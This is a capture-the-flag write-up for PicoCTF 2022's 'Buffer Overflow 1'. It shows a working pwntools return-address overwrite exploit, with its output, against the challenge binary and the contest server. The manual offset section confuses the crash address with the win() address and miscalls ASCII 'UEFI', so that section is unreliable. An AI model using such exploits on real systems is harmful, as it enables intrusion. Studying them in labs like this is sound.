PicoCTF 2022: Buffer Overflow 1

PicoCTF 2022: Buffer Overflow 1

Intro

This is a write-up for PicoCTF 2022: Buffer Overflow 1. This is one of my favourite challenges to do. I recommend solving it for yourself before you read this write-up.

What is a Buffer Overflow?

Before we get started we need to first know what a buffer overflow is.

In a portion of your memory, you have a section called the stack. The Stack holds most of the temporary methods, local variables, and reference variables.

Inside the stack, there are 3 sections: the Buffer, Base Pointer, and Return address. Currently, we only need to worry about the Buffer and Return address. The Buffer is only a certain size, but what happens when we "smash the stack" and go over the Buffer? If there is no protection, we can overwrite the Base Pointer and more importantly the return address. This means we can point the return address to any method or piece of code we want. If you want to learn more, click here.

image.png Credit: enscribe.dev

Conducting the Buffer Overflow

The very first thing we need to do is run checksec to find any Buffer Overflow protections.

┌──(kali㉿desktop)-[/media/…/Shared File/Pico CTF/2022/Buffer Overflow 1]
└─$ checksec ./vuln
[*] '/media/kali/Shared File/Pico CTF/2022/Buffer Overflow 1/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

In this case, there are no protections.

Checking the code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

If we look in the vuln() function we can see it uses the gets() function. If we can overwrite the return address with the win() 's function return address, we can make it execute the win()'s function and get the flag.

Finding the offset

The next thing we need to do is find the offset for the buffer. The hard way would be to keep on guessing the offset until it crashes, but there is an easier way to do it. We can use msfvenom's pattern creation tool. This creates a unique cyclic pattern bigger than the buffer size. When it crashes we read the return address. This return address will have a unique cyclic pattern that we can trace.

┌──(kali㉿desktop)-[/media/…/Shared File/Pico CTF/2022/Buffer Overflow 1]
└─$ msf-pattern_create -l 200                                                                                                                                                                                        
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

┌──(kali㉿desktop)-[/media/…/Shared File/Pico CTF/2022/Buffer Overflow 1]
└─$ echo "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag" | ./vuln
Please enter your string: 
Okay, time to return... Fingers Crossed... Jumping to 0x35624134
zsh: done                echo  | 
zsh: segmentation fault  ./vuln

┌──(kali㉿desktop)-[/media/…/Shared File/Pico CTF/2022/Buffer Overflow 1]
└─$ msf-pattern_offset  -q 0x35624134                                                                                                                                                                                       
[*] Exact match at offset 44

One important thing to note. This program uses Little Endian encoding. This means all the bytes for the memory address will be flipped as shown in the below image.

image.png Credit: Little and Big Endian Mystery, geeksforgeeks

Manually finding the buffer size

Below is how to figure out the offset manually. It is important to know how to do it manually to fully understand it.

# Remember this is outputted in Little Endian so when need to re-arrange it
0x35624134 -->\xf6\x91\x04\x08

# Converting from hex to UEFI
\xf6\x91\x04\x08 --> 4Ab5

# Finding the offset
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab|4Ab5|

Checking the offset

To check that the offset is 44, we can run the following command:

┌──(kali㉿arch-desktop)-[/media/…/Shared File/Pico CTF/2022/Buffer Overflow 1]
└─$ python3 -c 'print("A"*44+"BBBB")' | ./vuln
Please enter your string: 
Okay, time to return... Fingers Crossed... Jumping to 0x42424242
zsh: done                python3 -c 'print("A"*44+"BBBB")' | 
zsh: segmentation fault  ./vuln

We know that we've found the offset as the return address is just the hex values for "B".

Finding the win() functions address

We can find the win functions address by using readelf -s vuln.

┌──(kali㉿arch-desktop)-[/media/…/Shared File/Pico CTF/2022/Buffer Overflow 1]
└─$ readelf -s vuln | grep "win" 

    63: 080491f6   139 FUNC    GLOBAL DEFAULT   13 win

Testing

Now that we know the offset and the address of the win() function's address, we can now craft an exploit. The easiest way to craft this exploit is with Python and the python pwntool module. We can not manually input strings into the console as there will be weird hex bytes that just don't work.

#!/usr/bin/env python3
from pwn import *

elf = ELF('./vuln', checksec=False)    

p = process(elf.path)

payload = b"A"*44 + p32(0x80491f6)  # p32() will translate the address into little endian

p = process(elf.path)
p.sendline(payload)
p.interactive()    # receives flag

This is the output we get when we run the code:

[x] Starting local process '/media/kali/Shared File/Pico CTF/2022/Buffer Overflow 1/vuln'
[+] Starting local process '/media/kali/Shared File/Pico CTF/2022/Buffer Overflow 1/vuln': pid 5212
[x] Starting local process '/media/kali/Shared File/Pico CTF/2022/Buffer Overflow 1/vuln'
[+] Starting local process '/media/kali/Shared File/Pico CTF/2022/Buffer Overflow 1/vuln': pid 5213
[*] Switching to interactive mode
[*] Process '/media/kali/Shared File/Pico CTF/2022/Buffer Overflow 1/vuln' stopped with exit code -11 (SIGSEGV) (pid 5213)
Please enter your string: 
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoctf{colej.net}
[*] Got EOF while reading in interactive

As we can see, we get the dummy flag from our local machine.

Getting the flag

Now we need to figure out how to send data to picoCTF. This is when the magic of pwn-tools comes in handy. All you have to do is replace process(elf.path) with remote(host, port). This is the final exploit.

#!/usr/bin/env python3
from pwn import *

beRemote = True

elf = context.binary = ELF('./vuln', checksec=False) 
host, port = 'saturn.picoctf.net', [PORT]

p = process(elf.path)# references the elf object

payload = b"A"*44 + p32(0x80491f6)  # p32() will translate the address into little endian

if beRemote:    
    p = remote(host, port)
else:
    p = process(elf.path)

p.sendline(payload)
p.interactive()    # receives flag

This is the output we get when we run the code:

[x] Starting local process '/media/kali/Shared File/Pico CTF/2022/Buffer Overflow 1/vuln'
[+] Starting local process '/media/kali/Shared File/Pico CTF/2022/Buffer Overflow 1/vuln': pid 5490
[x] Opening connection to saturn.picoctf.net on port 63511
[x] Opening connection to saturn.picoctf.net on port 63511: Trying 18.217.86.78
[+] Opening connection to saturn.picoctf.net on port 63511: Done
[*] Switching to interactive mode
Please enter your string: 
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoCTF{addr3ss3s_ar3_3asy_[REDACTED]}
[*] Got EOF while reading in interactive

As you can see here we got the flag!

Finishing notes

I hope you enjoyed this write-up for buffer-overflow 1 for picoCTF. If you have any questions you can always leave a comment below or feel free to reach out to me on Twitter at @dingo418.

Other good writeups

32-bit x86 LINUX BUFFER OVERFLOW (PicoCTF 2022 #31 'buffer-overflow1') by John Hamond

pico22/pwn: Buffer overflow series